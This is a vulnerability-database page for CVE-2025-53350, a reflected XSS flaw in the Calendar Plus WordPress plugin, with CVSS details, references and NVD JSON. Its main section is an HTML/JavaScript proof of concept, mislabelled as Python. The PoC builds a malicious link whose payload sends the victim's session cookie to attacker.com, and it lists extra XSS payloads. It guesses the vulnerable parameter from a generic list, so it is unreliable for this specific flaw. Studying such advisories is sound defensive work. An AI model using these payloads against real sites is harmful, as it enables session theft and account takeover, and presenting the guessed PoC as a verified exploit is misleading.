CVE-2025-53350

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in webjunk Calendar Plus calendar-plus allows Reflected XSS.This issue affects Calendar Plus: from n/a through <= 1.2.4.

CVSS Details

CVSS Score

7.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Calendar Plus (calendar-plus) 所有版本 <= 1.2.4

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-53350 PoC - Reflected XSS in WordPress Calendar Plus Plugin -->
<!-- This PoC demonstrates how an attacker can inject malicious JavaScript through vulnerable parameters -->

<!DOCTYPE html>
<html>
<head>
    <title>CVE-2025-53350 PoC</title>
</head>
<body>
    <h1>CVE-2025-53350 - Calendar Plus Reflected XSS PoC</h1>
    
    <h2>Malicious URL:</h2>
    <code id="malicious-url"></code>
    
    <h2>Description:</h2>
    <p>This PoC generates a malicious URL that exploits the reflected XSS vulnerability in the Calendar Plus WordPress plugin.</p>
    
    <h2>Attack Scenario:</h2>
    <ol>
        <li>Attacker crafts a URL with malicious JavaScript payload in a vulnerable parameter</li>
        <li>Victim clicks on the crafted URL (distributed via email, social media, etc.)</li>
        <li>Server reflects the unsanitized input back to the victim's browser</li>
        <li>Victim's browser executes the injected JavaScript code</li>
        <li>Attacker steals session cookies, performs actions on behalf of victim, etc.</li>
    </ol>
    
    <script>
        // Configuration - Replace with actual vulnerable target
        const targetUrl = 'http://target-wordpress-site.com';
        const pluginPath = '/wp-content/plugins/calendar-plus/';
        
        // Malicious JavaScript payload
        const xssPayload = '<script>alert("XSS - CVE-2025-53350");document.location="http://attacker.com/steal?cookie="+document.cookie;</script>';
        
        // Encode payload for URL
        const encodedPayload = encodeURIComponent(xssPayload);
        
        // Common vulnerable parameters in WordPress plugins
        const vulnerableParams = ['id', 'event_id', 'cal_id', 'month', 'year', 'view', 'date'];
        
        // Generate malicious URL
        const maliciousUrl = targetUrl + pluginPath + '?' + vulnerableParams[0] + '=' + encodedPayload;
        
        document.getElementById('malicious-url').innerHTML = '<a href="' + maliciousUrl + '" target="_blank">' + maliciousUrl + '</a>';
        
        // Simulate victim clicking the link (for demonstration)
        console.log('Malicious URL generated:', maliciousUrl);
        console.log('In real attack, victim would click this link');
        
        // Alternative payload examples:
        const altPayloads = [
            '" onerror="alert(String.fromCharCode(88,83,83))"="',
            'javascript:alert(document.domain)',
            '<img src=x onerror=alert(document.cookie)>'
        ];
        
        console.log('Alternative payloads:', altPayloads);
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-53350
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-53350
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-53350/
[4] VulDB https://vuldb.com/cve/CVE-2025-53350
[5] https://patchstack.com/database/Wordpress/Plugin/calendar-plus/vulnerability/wordpress-calendar-plus-plugin-1-2-4-cross-site-scripting-xss-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-53350", "sourceIdentifier": "[email protected]", "published": "2025-10-22T15:15:48.927", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in webjunk Calendar Plus calendar-plus allows Reflected XSS.This issue affects Calendar Plus: from n/a through <= 1.2.4."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/calendar-plus/vulnerability/wordpress-calendar-plus-plugin-1-2-4-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}